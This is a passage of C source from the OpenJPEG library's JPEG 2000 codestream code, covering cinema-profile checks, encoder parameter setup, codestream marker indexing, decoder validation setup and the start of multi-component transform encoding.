parameters->numresolution); } else { parameters->numpocs = 0; } /* Limited bit-rate */ parameters->cp_disto_alloc = 1; if (parameters->max_cs_size <= 0) { /* No rate has been introduced, 24 fps is assumed */ parameters->max_cs_size = OPJ_CINEMA_24_CS; opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "Maximum 1302083 compressed bytes @ 24fps\n" "As no rate has been given, this limit will be used.\n"); } else if (parameters->max_cs_size > OPJ_CINEMA_24_CS) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "Maximum 1302083 compressed bytes @ 24fps\n" "-> Specified rate exceeds this limit. Rate will be forced to 1302083 bytes.\n"); parameters->max_cs_size = OPJ_CINEMA_24_CS; } if (parameters->max_comp_size <= 0) { /* No rate has been introduced, 24 fps is assumed */ parameters->max_comp_size = OPJ_CINEMA_24_COMP; opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "Maximum 1041666 compressed bytes @ 24fps\n" "As no rate has been given, this limit will be used.\n"); } else if (parameters->max_comp_size > OPJ_CINEMA_24_COMP) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 and 4 (2k/4k dc profile) requires:\n" "Maximum 1041666 compressed bytes @ 24fps\n" "-> Specified rate exceeds this limit. Rate will be forced to 1041666 bytes.\n"); parameters->max_comp_size = OPJ_CINEMA_24_COMP; } parameters->tcp_rates[0] = (OPJ_FLOAT32)(image->numcomps * image->comps[0].w * image->comps[0].h * image->comps[0].prec) / (OPJ_FLOAT32)(((OPJ_UINT32)parameters->max_cs_size) * 8 * image->comps[0].dx * image->comps[0].dy); } static OPJ_BOOL opj_j2k_is_cinema_compliant(opj_image_t *image, OPJ_UINT16 rsiz, opj_event_mgr_t *p_manager) { OPJ_UINT32 i; /* Number of components */ if (image->numcomps != 3) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 (2k dc profile) requires:\n" "3 components" "-> Number of components of input image (%d) is not compliant\n" "-> Non-profile-3 codestream will be generated\n", image->numcomps); return OPJ_FALSE; } /* Bitdepth */ for (i = 0; i < image->numcomps; i++) { if ((image->comps[i].bpp != 12) | (image->comps[i].sgnd)) { char signed_str[] = "signed"; char unsigned_str[] = "unsigned"; char *tmp_str = image->comps[i].sgnd ? signed_str : unsigned_str; opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 (2k dc profile) requires:\n" "Precision of each component shall be 12 bits unsigned" "-> At least component %d of input image (%d bits, %s) is not compliant\n" "-> Non-profile-3 codestream will be generated\n", i, image->comps[i].bpp, tmp_str); return OPJ_FALSE; } } /* Image size */ switch (rsiz) { case OPJ_PROFILE_CINEMA_2K: if (((image->comps[0].w > 2048) | (image->comps[0].h > 1080))) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-3 (2k dc profile) requires:\n" "width <= 2048 and height <= 1080\n" "-> Input image size %d x %d is not compliant\n" "-> Non-profile-3 codestream will be generated\n", image->comps[0].w, image->comps[0].h); return OPJ_FALSE; } break; case OPJ_PROFILE_CINEMA_4K: if (((image->comps[0].w > 4096) | (image->comps[0].h > 2160))) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Profile-4 (4k dc profile) requires:\n" "width <= 4096 and height <= 2160\n" "-> Image size %d x %d is not compliant\n" "-> Non-profile-4 codestream will be generated\n", image->comps[0].w, image->comps[0].h); return OPJ_FALSE; } break; default : break; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_setup_encoder(opj_j2k_t *p_j2k, opj_cparameters_t *parameters, opj_image_t *image, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, j, tileno, numpocs_tile; opj_cp_t *cp = 00; if (!p_j2k || !parameters || ! image) { return OPJ_FALSE; } if ((parameters->numresolution <= 0) || (parameters->numresolution > OPJ_J2K_MAXRLVLS)) { opj_event_msg(p_manager, EVT_ERROR, "Invalid number of resolutions : %d not in range [1,%d]\n", parameters->numresolution, OPJ_J2K_MAXRLVLS); return OPJ_FALSE; } /* keep a link to cp so that we can destroy it later in j2k_destroy_compress */ cp = &(p_j2k->m_cp); /* set default values for cp */ cp->tw = 1; cp->th = 1; /* FIXME ADE: to be removed once deprecated cp_cinema and cp_rsiz have been removed */ if (parameters->rsiz == OPJ_PROFILE_NONE) { /* consider deprecated fields only if RSIZ has not been set */ OPJ_BOOL deprecated_used = OPJ_FALSE; switch (parameters->cp_cinema) { case OPJ_CINEMA2K_24: parameters->rsiz = OPJ_PROFILE_CINEMA_2K; parameters->max_cs_size = OPJ_CINEMA_24_CS; parameters->max_comp_size = OPJ_CINEMA_24_COMP; deprecated_used = OPJ_TRUE; break; case OPJ_CINEMA2K_48: parameters->rsiz = OPJ_PROFILE_CINEMA_2K; parameters->max_cs_size = OPJ_CINEMA_48_CS; parameters->max_comp_size = OPJ_CINEMA_48_COMP; deprecated_used = OPJ_TRUE; break; case OPJ_CINEMA4K_24: parameters->rsiz = OPJ_PROFILE_CINEMA_4K; parameters->max_cs_size = OPJ_CINEMA_24_CS; parameters->max_comp_size = OPJ_CINEMA_24_COMP; deprecated_used = OPJ_TRUE; break; case OPJ_OFF: default: break; } switch (parameters->cp_rsiz) { case OPJ_CINEMA2K: parameters->rsiz = OPJ_PROFILE_CINEMA_2K; deprecated_used = OPJ_TRUE; break; case OPJ_CINEMA4K: parameters->rsiz = OPJ_PROFILE_CINEMA_4K; deprecated_used = OPJ_TRUE; break; case OPJ_MCT: parameters->rsiz = OPJ_PROFILE_PART2 | OPJ_EXTENSION_MCT; deprecated_used = OPJ_TRUE; case OPJ_STD_RSIZ: default: break; } if (deprecated_used) { opj_event_msg(p_manager, EVT_WARNING, "Deprecated fields cp_cinema or cp_rsiz are used\n" "Please consider using only the rsiz field\n" "See openjpeg.h documentation for more details\n"); } } /* If no explicit layers are provided, use lossless settings */ if (parameters->tcp_numlayers == 0) { parameters->tcp_numlayers = 1; parameters->cp_disto_alloc = 1; parameters->tcp_rates[0] = 0; } /* see if max_codestream_size does limit input rate */ if (parameters->max_cs_size <= 0) { if (parameters->tcp_rates[parameters->tcp_numlayers - 1] > 0) { OPJ_FLOAT32 temp_size; temp_size = (OPJ_FLOAT32)(image->numcomps * image->comps[0].w * image->comps[0].h * image->comps[0].prec) / (parameters->tcp_rates[parameters->tcp_numlayers - 1] * 8 * (OPJ_FLOAT32)image->comps[0].dx * (OPJ_FLOAT32)image->comps[0].dy); parameters->max_cs_size = (int) floor(temp_size); } else { parameters->max_cs_size = 0; } } else { OPJ_FLOAT32 temp_rate; OPJ_BOOL cap = OPJ_FALSE; temp_rate = (OPJ_FLOAT32)(image->numcomps * image->comps[0].w * image->comps[0].h * image->comps[0].prec) / (OPJ_FLOAT32)(((OPJ_UINT32)parameters->max_cs_size) * 8 * image->comps[0].dx * image->comps[0].dy); for (i = 0; i < (OPJ_UINT32) parameters->tcp_numlayers; i++) { if (parameters->tcp_rates[i] < temp_rate) { parameters->tcp_rates[i] = temp_rate; cap = OPJ_TRUE; } } if (cap) { opj_event_msg(p_manager, EVT_WARNING, "The desired maximum codestream size has limited\n" "at least one of the desired quality layers\n"); } } /* Manage profiles and applications and set RSIZ */ /* set cinema parameters if required */ if (OPJ_IS_CINEMA(parameters->rsiz)) { if ((parameters->rsiz == OPJ_PROFILE_CINEMA_S2K) || (parameters->rsiz == OPJ_PROFILE_CINEMA_S4K)) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Scalable Digital Cinema profiles not yet supported\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else { opj_j2k_set_cinema_parameters(parameters, image, p_manager); if (!opj_j2k_is_cinema_compliant(image, parameters->rsiz, p_manager)) { parameters->rsiz = OPJ_PROFILE_NONE; } } } else if (OPJ_IS_STORAGE(parameters->rsiz)) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Long Term Storage profile not yet supported\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else if (OPJ_IS_BROADCAST(parameters->rsiz)) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Broadcast profiles not yet supported\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else if (OPJ_IS_IMF(parameters->rsiz)) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 IMF profiles not yet supported\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else if (OPJ_IS_PART2(parameters->rsiz)) { if (parameters->rsiz == ((OPJ_PROFILE_PART2) | (OPJ_EXTENSION_NONE))) { opj_event_msg(p_manager, EVT_WARNING, "JPEG 2000 Part-2 profile defined\n" "but no Part-2 extension enabled.\n" "Profile set to NONE.\n"); parameters->rsiz = OPJ_PROFILE_NONE; } else if (parameters->rsiz != ((OPJ_PROFILE_PART2) | (OPJ_EXTENSION_MCT))) { opj_event_msg(p_manager, EVT_WARNING, "Unsupported Part-2 extension enabled\n" "Profile set to NONE.\n"); parameters->rsiz = OPJ_PROFILE_NONE; } } /* copy user encoding parameters */ cp->m_specific_param.m_enc.m_max_comp_size = (OPJ_UINT32) parameters->max_comp_size; cp->rsiz = parameters->rsiz; cp->m_specific_param.m_enc.m_disto_alloc = (OPJ_UINT32) parameters->cp_disto_alloc & 1u; cp->m_specific_param.m_enc.m_fixed_alloc = (OPJ_UINT32) parameters->cp_fixed_alloc & 1u; cp->m_specific_param.m_enc.m_fixed_quality = (OPJ_UINT32) parameters->cp_fixed_quality & 1u; /* mod fixed_quality */ if (parameters->cp_fixed_alloc && parameters->cp_matrice) { size_t array_size = (size_t)parameters->tcp_numlayers * (size_t)parameters->numresolution * 3 * sizeof(OPJ_INT32); cp->m_specific_param.m_enc.m_matrice = (OPJ_INT32 *) opj_malloc(array_size); if (!cp->m_specific_param.m_enc.m_matrice) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate copy of user encoding parameters matrix \n"); return OPJ_FALSE; } memcpy(cp->m_specific_param.m_enc.m_matrice, parameters->cp_matrice, array_size); } /* tiles */ cp->tdx = (OPJ_UINT32)parameters->cp_tdx; cp->tdy = (OPJ_UINT32)parameters->cp_tdy; /* tile offset */ cp->tx0 = (OPJ_UINT32)parameters->cp_tx0; cp->ty0 = (OPJ_UINT32)parameters->cp_ty0; /* comment string */ if (parameters->cp_comment) { cp->comment = (char*)opj_malloc(strlen(parameters->cp_comment) + 1U); if (!cp->comment) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate copy of comment string\n"); return OPJ_FALSE; } strcpy(cp->comment, parameters->cp_comment); } else { /* Create default comment for codestream */ const char comment[] = "Created by OpenJPEG version "; const size_t clen = strlen(comment); const char *version = opj_version(); /* UniPG>> */ #ifdef USE_JPWL cp->comment = (char*)opj_malloc(clen + strlen(version) + 11); if (!cp->comment) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate comment string\n"); return OPJ_FALSE; } sprintf(cp->comment, "%s%s with JPWL", comment, version); #else cp->comment = (char*)opj_malloc(clen + strlen(version) + 1); if (!cp->comment) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate comment string\n"); return OPJ_FALSE; } sprintf(cp->comment, "%s%s", comment, version); #endif /* <<UniPG */ } /* calculate other encoding parameters */ if (parameters->tile_size_on) { cp->tw = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)(image->x1 - cp->tx0), (OPJ_INT32)cp->tdx); cp->th = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)(image->y1 - cp->ty0), (OPJ_INT32)cp->tdy); } else { cp->tdx = image->x1 - cp->tx0; cp->tdy = image->y1 - cp->ty0; } if (parameters->tp_on) { cp->m_specific_param.m_enc.m_tp_flag = (OPJ_BYTE)parameters->tp_flag; cp->m_specific_param.m_enc.m_tp_on = 1; } #ifdef USE_JPWL /* calculate JPWL encoding parameters */ if (parameters->jpwl_epc_on) { OPJ_INT32 i; /* set JPWL on */ cp->epc_on = OPJ_TRUE; cp->info_on = OPJ_FALSE; /* no informative technique */ /* set EPB on */ if ((parameters->jpwl_hprot_MH > 0) || (parameters->jpwl_hprot_TPH[0] > 0)) { cp->epb_on = OPJ_TRUE; cp->hprot_MH = parameters->jpwl_hprot_MH; for (i = 0; i < JPWL_MAX_NO_TILESPECS; i++) { cp->hprot_TPH_tileno[i] = parameters->jpwl_hprot_TPH_tileno[i]; cp->hprot_TPH[i] = parameters->jpwl_hprot_TPH[i]; } /* if tile specs are not specified, copy MH specs */ if (cp->hprot_TPH[0] == -1) { cp->hprot_TPH_tileno[0] = 0; cp->hprot_TPH[0] = parameters->jpwl_hprot_MH; } for (i = 0; i < JPWL_MAX_NO_PACKSPECS; i++) { cp->pprot_tileno[i] = parameters->jpwl_pprot_tileno[i]; cp->pprot_packno[i] = parameters->jpwl_pprot_packno[i]; cp->pprot[i] = parameters->jpwl_pprot[i]; } } /* set ESD writing */ if ((parameters->jpwl_sens_size == 1) || (parameters->jpwl_sens_size == 2)) { cp->esd_on = OPJ_TRUE; cp->sens_size = parameters->jpwl_sens_size; cp->sens_addr = parameters->jpwl_sens_addr; cp->sens_range = parameters->jpwl_sens_range; cp->sens_MH = parameters->jpwl_sens_MH; for (i = 0; i < JPWL_MAX_NO_TILESPECS; i++) { cp->sens_TPH_tileno[i] = parameters->jpwl_sens_TPH_tileno[i]; cp->sens_TPH[i] = parameters->jpwl_sens_TPH[i]; } } /* always set RED writing to false: we are at the encoder */ cp->red_on = OPJ_FALSE; } else { cp->epc_on = OPJ_FALSE; } #endif /* USE_JPWL */ /* initialize the mutiple tiles */ /* ---------------------------- */ cp->tcps = (opj_tcp_t*) opj_calloc(cp->tw * cp->th, sizeof(opj_tcp_t)); if (!cp->tcps) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate tile coding parameters\n"); return OPJ_FALSE; } if (parameters->numpocs) { /* initialisation of POC */ opj_j2k_check_poc_val(parameters->POC, parameters->numpocs, (OPJ_UINT32)parameters->numresolution, image->numcomps, (OPJ_UINT32)parameters->tcp_numlayers, p_manager); /* TODO MSD use the return value*/ } for (tileno = 0; tileno < cp->tw * cp->th; tileno++) { opj_tcp_t *tcp = &cp->tcps[tileno]; tcp->numlayers = (OPJ_UINT32)parameters->tcp_numlayers; for (j = 0; j < tcp->numlayers; j++) { if (OPJ_IS_CINEMA(cp->rsiz)) { if (cp->m_specific_param.m_enc.m_fixed_quality) { tcp->distoratio[j] = parameters->tcp_distoratio[j]; } tcp->rates[j] = parameters->tcp_rates[j]; } else { if (cp->m_specific_param.m_enc.m_fixed_quality) { /* add fixed_quality */ tcp->distoratio[j] = parameters->tcp_distoratio[j]; } else { tcp->rates[j] = parameters->tcp_rates[j]; } } } tcp->csty = (OPJ_UINT32)parameters->csty; tcp->prg = parameters->prog_order; tcp->mct = (OPJ_UINT32)parameters->tcp_mct; numpocs_tile = 0; tcp->POC = 0; if (parameters->numpocs) { /* initialisation of POC */ tcp->POC = 1; for (i = 0; i < parameters->numpocs; i++) { if (tileno + 1 == parameters->POC[i].tile) { opj_poc_t *tcp_poc = &tcp->pocs[numpocs_tile]; tcp_poc->resno0 = parameters->POC[numpocs_tile].resno0; tcp_poc->compno0 = parameters->POC[numpocs_tile].compno0; tcp_poc->layno1 = parameters->POC[numpocs_tile].layno1; tcp_poc->resno1 = parameters->POC[numpocs_tile].resno1; tcp_poc->compno1 = parameters->POC[numpocs_tile].compno1; tcp_poc->prg1 = parameters->POC[numpocs_tile].prg1; tcp_poc->tile = parameters->POC[numpocs_tile].tile; numpocs_tile++; } } tcp->numpocs = numpocs_tile - 1 ; } else { tcp->numpocs = 0; } tcp->tccps = (opj_tccp_t*) opj_calloc(image->numcomps, sizeof(opj_tccp_t)); if (!tcp->tccps) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate tile component coding parameters\n"); return OPJ_FALSE; } if (parameters->mct_data) { OPJ_UINT32 lMctSize = image->numcomps * image->numcomps * (OPJ_UINT32)sizeof( OPJ_FLOAT32); OPJ_FLOAT32 * lTmpBuf = (OPJ_FLOAT32*)opj_malloc(lMctSize); OPJ_INT32 * l_dc_shift = (OPJ_INT32 *)((OPJ_BYTE *) parameters->mct_data + lMctSize); if (!lTmpBuf) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate temp buffer\n"); return OPJ_FALSE; } tcp->mct = 2; tcp->m_mct_coding_matrix = (OPJ_FLOAT32*)opj_malloc(lMctSize); if (! tcp->m_mct_coding_matrix) { opj_free(lTmpBuf); lTmpBuf = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate encoder MCT coding matrix \n"); return OPJ_FALSE; } memcpy(tcp->m_mct_coding_matrix, parameters->mct_data, lMctSize); memcpy(lTmpBuf, parameters->mct_data, lMctSize); tcp->m_mct_decoding_matrix = (OPJ_FLOAT32*)opj_malloc(lMctSize); if (! tcp->m_mct_decoding_matrix) { opj_free(lTmpBuf); lTmpBuf = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate encoder MCT decoding matrix \n"); return OPJ_FALSE; } if (opj_matrix_inversion_f(lTmpBuf, (tcp->m_mct_decoding_matrix), image->numcomps) == OPJ_FALSE) { opj_free(lTmpBuf); lTmpBuf = NULL; opj_event_msg(p_manager, EVT_ERROR, "Failed to inverse encoder MCT decoding matrix \n"); return OPJ_FALSE; } tcp->mct_norms = (OPJ_FLOAT64*) opj_malloc(image->numcomps * sizeof(OPJ_FLOAT64)); if (! tcp->mct_norms) { opj_free(lTmpBuf); lTmpBuf = NULL; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to allocate encoder MCT norms \n"); return OPJ_FALSE; } opj_calculate_norms(tcp->mct_norms, image->numcomps, tcp->m_mct_decoding_matrix); opj_free(lTmpBuf); for (i = 0; i < image->numcomps; i++) { opj_tccp_t *tccp = &tcp->tccps[i]; tccp->m_dc_level_shift = l_dc_shift[i]; } if (opj_j2k_setup_mct_encoding(tcp, image) == OPJ_FALSE) { /* free will be handled by opj_j2k_destroy */ opj_event_msg(p_manager, EVT_ERROR, "Failed to setup j2k mct encoding\n"); return OPJ_FALSE; } } else { if (tcp->mct == 1 && image->numcomps >= 3) { /* RGB->YCC MCT is enabled */ if ((image->comps[0].dx != image->comps[1].dx) || (image->comps[0].dx != image->comps[2].dx) || (image->comps[0].dy != image->comps[1].dy) || (image->comps[0].dy != image->comps[2].dy)) { opj_event_msg(p_manager, EVT_WARNING, "Cannot perform MCT on components with different sizes. Disabling MCT.\n"); tcp->mct = 0; } } for (i = 0; i < image->numcomps; i++) { opj_tccp_t *tccp = &tcp->tccps[i]; opj_image_comp_t * l_comp = &(image->comps[i]); if (! l_comp->sgnd) { tccp->m_dc_level_shift = 1 << (l_comp->prec - 1); } } } for (i = 0; i < image->numcomps; i++) { opj_tccp_t *tccp = &tcp->tccps[i]; tccp->csty = parameters->csty & 0x01; /* 0 => one precinct || 1 => custom precinct */ tccp->numresolutions = (OPJ_UINT32)parameters->numresolution; tccp->cblkw = (OPJ_UINT32)opj_int_floorlog2(parameters->cblockw_init); tccp->cblkh = (OPJ_UINT32)opj_int_floorlog2(parameters->cblockh_init); tccp->cblksty = (OPJ_UINT32)parameters->mode; tccp->qmfbid = parameters->irreversible ? 0 : 1; tccp->qntsty = parameters->irreversible ? J2K_CCP_QNTSTY_SEQNT : J2K_CCP_QNTSTY_NOQNT; tccp->numgbits = 2; if ((OPJ_INT32)i == parameters->roi_compno) { tccp->roishift = parameters->roi_shift; } else { tccp->roishift = 0; } if (parameters->csty & J2K_CCP_CSTY_PRT) { OPJ_INT32 p = 0, it_res; assert(tccp->numresolutions > 0); for (it_res = (OPJ_INT32)tccp->numresolutions - 1; it_res >= 0; it_res--) { if (p < parameters->res_spec) { if (parameters->prcw_init[p] < 1) { tccp->prcw[it_res] = 1; } else { tccp->prcw[it_res] = (OPJ_UINT32)opj_int_floorlog2(parameters->prcw_init[p]); } if (parameters->prch_init[p] < 1) { tccp->prch[it_res] = 1; } else { tccp->prch[it_res] = (OPJ_UINT32)opj_int_floorlog2(parameters->prch_init[p]); } } else { OPJ_INT32 res_spec = parameters->res_spec; OPJ_INT32 size_prcw = 0; OPJ_INT32 size_prch = 0; assert(res_spec > 0); /* issue 189 */ size_prcw = parameters->prcw_init[res_spec - 1] >> (p - (res_spec - 1)); size_prch = parameters->prch_init[res_spec - 1] >> (p - (res_spec - 1)); if (size_prcw < 1) { tccp->prcw[it_res] = 1; } else { tccp->prcw[it_res] = (OPJ_UINT32)opj_int_floorlog2(size_prcw); } if (size_prch < 1) { tccp->prch[it_res] = 1; } else { tccp->prch[it_res] = (OPJ_UINT32)opj_int_floorlog2(size_prch); } } p++; /*printf("\nsize precinct for level %d : %d,%d\n", it_res,tccp->prcw[it_res], tccp->prch[it_res]); */ } /*end for*/ } else { for (j = 0; j < tccp->numresolutions; j++) { tccp->prcw[j] = 15; tccp->prch[j] = 15; } } opj_dwt_calc_explicit_stepsizes(tccp, image->comps[i].prec); } } if (parameters->mct_data) { opj_free(parameters->mct_data); parameters->mct_data = 00; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_add_mhmarker(opj_codestream_index_t *cstr_index, OPJ_UINT32 type, OPJ_OFF_T pos, OPJ_UINT32 len) { assert(cstr_index != 00); /* expand the list? */ if ((cstr_index->marknum + 1) > cstr_index->maxmarknum) { opj_marker_info_t *new_marker; cstr_index->maxmarknum = (OPJ_UINT32)(100 + (OPJ_FLOAT32) cstr_index->maxmarknum); new_marker = (opj_marker_info_t *) opj_realloc(cstr_index->marker, cstr_index->maxmarknum * sizeof(opj_marker_info_t)); if (! new_marker) { opj_free(cstr_index->marker); cstr_index->marker = NULL; cstr_index->maxmarknum = 0; cstr_index->marknum = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add mh marker\n"); */ return OPJ_FALSE; } cstr_index->marker = new_marker; } /* add the marker */ cstr_index->marker[cstr_index->marknum].type = (OPJ_UINT16)type; cstr_index->marker[cstr_index->marknum].pos = (OPJ_INT32)pos; cstr_index->marker[cstr_index->marknum].len = (OPJ_INT32)len; cstr_index->marknum++; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_add_tlmarker(OPJ_UINT32 tileno, opj_codestream_index_t *cstr_index, OPJ_UINT32 type, OPJ_OFF_T pos, OPJ_UINT32 len) { assert(cstr_index != 00); assert(cstr_index->tile_index != 00); /* expand the list? */ if ((cstr_index->tile_index[tileno].marknum + 1) > cstr_index->tile_index[tileno].maxmarknum) { opj_marker_info_t *new_marker; cstr_index->tile_index[tileno].maxmarknum = (OPJ_UINT32)(100 + (OPJ_FLOAT32) cstr_index->tile_index[tileno].maxmarknum); new_marker = (opj_marker_info_t *) opj_realloc( cstr_index->tile_index[tileno].marker, cstr_index->tile_index[tileno].maxmarknum * sizeof(opj_marker_info_t)); if (! new_marker) { opj_free(cstr_index->tile_index[tileno].marker); cstr_index->tile_index[tileno].marker = NULL; cstr_index->tile_index[tileno].maxmarknum = 0; cstr_index->tile_index[tileno].marknum = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add tl marker\n"); */ return OPJ_FALSE; } cstr_index->tile_index[tileno].marker = new_marker; } /* add the marker */ cstr_index->tile_index[tileno].marker[cstr_index->tile_index[tileno].marknum].type = (OPJ_UINT16)type; cstr_index->tile_index[tileno].marker[cstr_index->tile_index[tileno].marknum].pos = (OPJ_INT32)pos; cstr_index->tile_index[tileno].marker[cstr_index->tile_index[tileno].marknum].len = (OPJ_INT32)len; cstr_index->tile_index[tileno].marknum++; if (type == J2K_MS_SOT) { OPJ_UINT32 l_current_tile_part = cstr_index->tile_index[tileno].current_tpsno; if (cstr_index->tile_index[tileno].tp_index) { cstr_index->tile_index[tileno].tp_index[l_current_tile_part].start_pos = pos; } } return OPJ_TRUE; } /* * ----------------------------------------------------------------------- * ----------------------------------------------------------------------- * ----------------------------------------------------------------------- */ OPJ_BOOL opj_j2k_end_decompress(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { (void)p_j2k; (void)p_stream; (void)p_manager; return OPJ_TRUE; } OPJ_BOOL opj_j2k_read_header(opj_stream_private_t *p_stream, opj_j2k_t* p_j2k, opj_image_t** p_image, opj_event_mgr_t* p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); /* create an empty image header */ p_j2k->m_private_image = opj_image_create0(); if (! p_j2k->m_private_image) { return OPJ_FALSE; } /* customization of the validation */ if (! opj_j2k_setup_decoding_validation(p_j2k, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* validation of the parameters codec */ if (! opj_j2k_exec(p_j2k, p_j2k->m_validation_list, p_stream, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* customization of the encoding */ if (! opj_j2k_setup_header_reading(p_j2k, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } /* read header */ if (! opj_j2k_exec(p_j2k, p_j2k->m_procedure_list, p_stream, p_manager)) { opj_image_destroy(p_j2k->m_private_image); p_j2k->m_private_image = NULL; return OPJ_FALSE; } *p_image = opj_image_create0(); if (!(*p_image)) { return OPJ_FALSE; } /* Copy codestream image information to the output image */ opj_copy_image_header(p_j2k->m_private_image, *p_image); /*Allocate and initialize some elements of codestrem index*/ if (!opj_j2k_allocate_tile_element_cstr_index(p_j2k)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_header_reading(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_read_header_procedure, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom procedures */ if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_copy_default_tcp_and_create_tcd, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_decoding_validation(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_build_decoder, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_decoding_validation, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom validation procedure */ return OPJ_TRUE; } static OPJ_BOOL opj_j2k_mct_validation(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_BOOL l_is_valid = OPJ_TRUE; OPJ_UINT32 i, j; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); if ((p_j2k->m_cp.rsiz & 0x8200) == 0x8200) { OPJ_UINT32 l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; opj_tcp_t * l_tcp = p_j2k->m_cp.tcps; for (i = 0; i < l_nb_tiles; ++i) { if (l_tcp->mct == 2) { opj_tccp_t * l_tccp = l_tcp->tccps; l_is_valid &= (l_tcp->m_mct_coding_matrix != 00); for (j = 0; j < p_j2k->m_private_image->numcomps; ++j) { l_is_valid &= !(l_tccp->qmfbid & 1); ++l_tccp; } } ++l_tcp; } } return l_is_valid; } OPJ_BOOL opj_j2k_setup_mct_encoding(opj_tcp_t * p_tcp, opj_image_t * p_image) { OPJ_UINT32 i; OPJ_UINT32 l_indix = 1; opj_mct_data_t * l_mct_deco_data = 00, * l_mct_offset_data = 00; opj_simple_mcc_decorrelation_data_t * l_mcc_data; OPJ_UINT32 l_mct_size, l_nb_elem; OPJ_FLOAT32 * l_data, * l_current_data; opj_tccp_t * l_tccp; /* preconditions */ assert(p_tcp != 00); if (p_tcp->mct != 2) { return OPJ_TRUE; } if (p_tcp->m_mct_decoding_matrix) { if (p_tcp->m_nb_mct_records == p_tcp->m_nb_max_mct_records) { opj_mct_data_t *new_mct_records; p_tcp->m_nb_max_mct_records += OPJ_J2K_MCT_DEFAULT_NB_RECORDS; new_mct_records = (opj_mct_data_t *) opj_realloc(p_tcp->m_mct_records, p_tcp->m_nb_max_mct_records * sizeof(opj_mct_data_t)); if (! new_mct_records) { opj_free(p_tcp->m_mct_records); p_tcp->m_mct_records = NULL; p_tcp->m_nb_max_mct_records = 0; p_tcp->m_nb_mct_records = 0; /* opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to setup mct encoding\n"); */ return OPJ_FALSE; } p_tcp->m_mct_records = new_mct_records; l_mct_deco_data = p_tcp->m_mct_records + p_tcp->m_nb_mct_records; memset(l_mct_deco_data, 0, (p_tcp->m_nb_max_mct_records - p_tcp->m_nb_mct_records) * sizeof( opj_mct_data_t)); } l_mct_deco_data = p_tcp->m_mct_records + p_tcp->m_nb_mct_records; if (l_mct_deco_data->m_data) { opj_free(l_mct_deco_data->m_data); l_mct_deco_data->m_data = 00; } l_mct_deco_data->m_index = l_indix++; l_mct_deco_data->m_array_type = MCT_TYPE_DECORRELATION; l_mct_deco_data->m_element_type = MCT_TYPE_FLOAT; l_nb_elem = p_image->numcomps * p_image->numcomps; l_mct_size = l_nb_elem * MCT_ELEMENT_SIZE[l_mct_deco_data->m_element_type]; l_mct_deco_data->m_data = (OPJ_BYTE*)opj_malloc(l_mct_size); if (! l_mct_deco_data->m_data) { return OPJ_FALSE; } 